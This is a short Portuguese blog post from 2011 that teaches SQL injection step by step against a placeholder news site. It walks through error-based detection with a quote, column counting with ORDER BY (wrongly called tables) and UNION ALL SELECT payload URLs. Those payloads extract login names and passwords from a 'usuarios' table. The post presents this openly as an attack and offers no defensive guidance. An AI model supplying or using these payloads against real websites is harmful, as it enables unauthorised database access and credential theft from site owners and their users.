sexta-feira, 25 de novembro de 2011

Tutorial de SQL Injection


Nesse tutorial irei ensinar uma falha popularmente conhecida como SQL Injection.
Bom , vamos logo pro assunto.
Primeiro vamos pegar um site , por exemplo:
http://www.site.com/noticias/detalhes.php?id=45
Para sabermos se o site está vulneravel vamos colocar na frente do 45 uma aspa ( ' ) . Como no exemplo abaixo:
http://www.site.com/noticias/detalhes.php?id=45'
Caso retorne algum erro como por exemplo

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''20549'' and loja.codigo = estoque.codigo limit 1' at line 1

Parabéns , o site está vulneravel . Pronto agora vamos ao ataque.

Para descobrirmos quantas tabelas o site tem vamos adicionar a URL o comando ORDER BY e o numero de TABELAS , então você pode user espaço ou + , no caso vou usar + pra poder deixar mais fácil o entendimento.

http://www.site.com/noticias/detalhes.php?id=45+order+by+5
Deu certo ? OK , há cinco tabelas , ai você vai acrescentando sempre +1 , por exemplo tentei ORDER BY 1 ; Order by 2 ; order by 3 ; order by 4 ; order by 5 ; e na hora que coloquei ORDER BY 6 deu erro , é porque nao existe 6 tabelas e sim 5.

Agora vamos pra parte de seleção de colunas :
Vamos usar a syntax  UNION ALL SELECT e adicione um - atras do numero da noticia :
Por exemplo :
http://www.site.com/noticias/detalhes.php?id=-45+union+all+select+1,2,3,4,5 --
Se deu tudo certo quer dizer que está tudo bem até o momento , agora chega a parte mais dificil , achar a tabela do administrador , mais se tudo ocorrer OK , e for tabelas padrões é mais facil hahahaa :D
Segue o exemplo abaixo :

http://www.site.com/noticias/detalhes.php?id=-45+union+all+select+1,2,3,4,5+from+usuarios --
Se tudo ocorrer OK , vai aparecer a pagina e uns números, é nesses números que você vai editar, por exemplo tem o numero 2 e 4 Grande na noticia , substituindo a noticia.
Já que a tabela dos usuários já está selecionado , agora resta selecionar os dados . Por exemplo

http://www.site.com/noticias/detalhes.php?id=-45+union+all+select+1,Login,3,Senha,5+from+usuarios --
 Gostou do tutorial ? Comente :)
Tutorial feito por mim mesmo Waldemar Silva.
Duvidas ? :)

Nenhum comentário:

Postar um comentário